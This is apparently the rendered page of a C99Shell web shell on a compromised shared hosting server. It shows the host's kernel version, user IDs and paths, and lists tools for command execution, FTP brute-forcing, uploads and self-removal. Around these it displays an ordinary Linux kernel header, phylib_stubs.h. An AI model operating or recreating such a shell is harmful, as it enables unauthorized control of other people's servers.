!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/src/linux-headers-6.6.104-grsec-jammy+/include/linux/   drwxr-xr-x
Free 714.05 GB of 879.6 GB (81.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     phylib_stubs.h (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0-or-later */
/*
 * Stubs for the Network PHY library
 */

#include <linux/rtnetlink.h>

struct kernel_hwtstamp_config;
struct netlink_ext_ack;
struct phy_device;

#if IS_ENABLED(CONFIG_PHYLIB)

extern const struct phylib_stubs *phylib_stubs;

struct phylib_stubs {
    int (*hwtstamp_get)(struct phy_device *phydev,
                struct kernel_hwtstamp_config *config);
    int (*hwtstamp_set)(struct phy_device *phydev,
                struct kernel_hwtstamp_config *config,
                struct netlink_ext_ack *extack);
};

static inline int phy_hwtstamp_get(struct phy_device *phydev,
                   struct kernel_hwtstamp_config *config)
{
    /* phylib_register_stubs() and phylib_unregister_stubs()
     * also run under rtnl_lock().
     */
    ASSERT_RTNL();

    if (!phylib_stubs)
        return -EOPNOTSUPP;

    return phylib_stubs->hwtstamp_get(phydev, config);
}

static inline int phy_hwtstamp_set(struct phy_device *phydev,
                   struct kernel_hwtstamp_config *config,
                   struct netlink_ext_ack *extack)
{
    /* phylib_register_stubs() and phylib_unregister_stubs()
     * also run under rtnl_lock().
     */
    ASSERT_RTNL();

    if (!phylib_stubs)
        return -EOPNOTSUPP;

    return phylib_stubs->hwtstamp_set(phydev, config, extack);
}

#else

static inline int phy_hwtstamp_get(struct phy_device *phydev,
                   struct kernel_hwtstamp_config *config)
{
    return -EOPNOTSUPP;
}

static inline int phy_hwtstamp_set(struct phy_device *phydev,
                   struct kernel_hwtstamp_config *config,
                   struct netlink_ext_ack *extack)
{
    return -EOPNOTSUPP;
}

#endif

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0115 ]--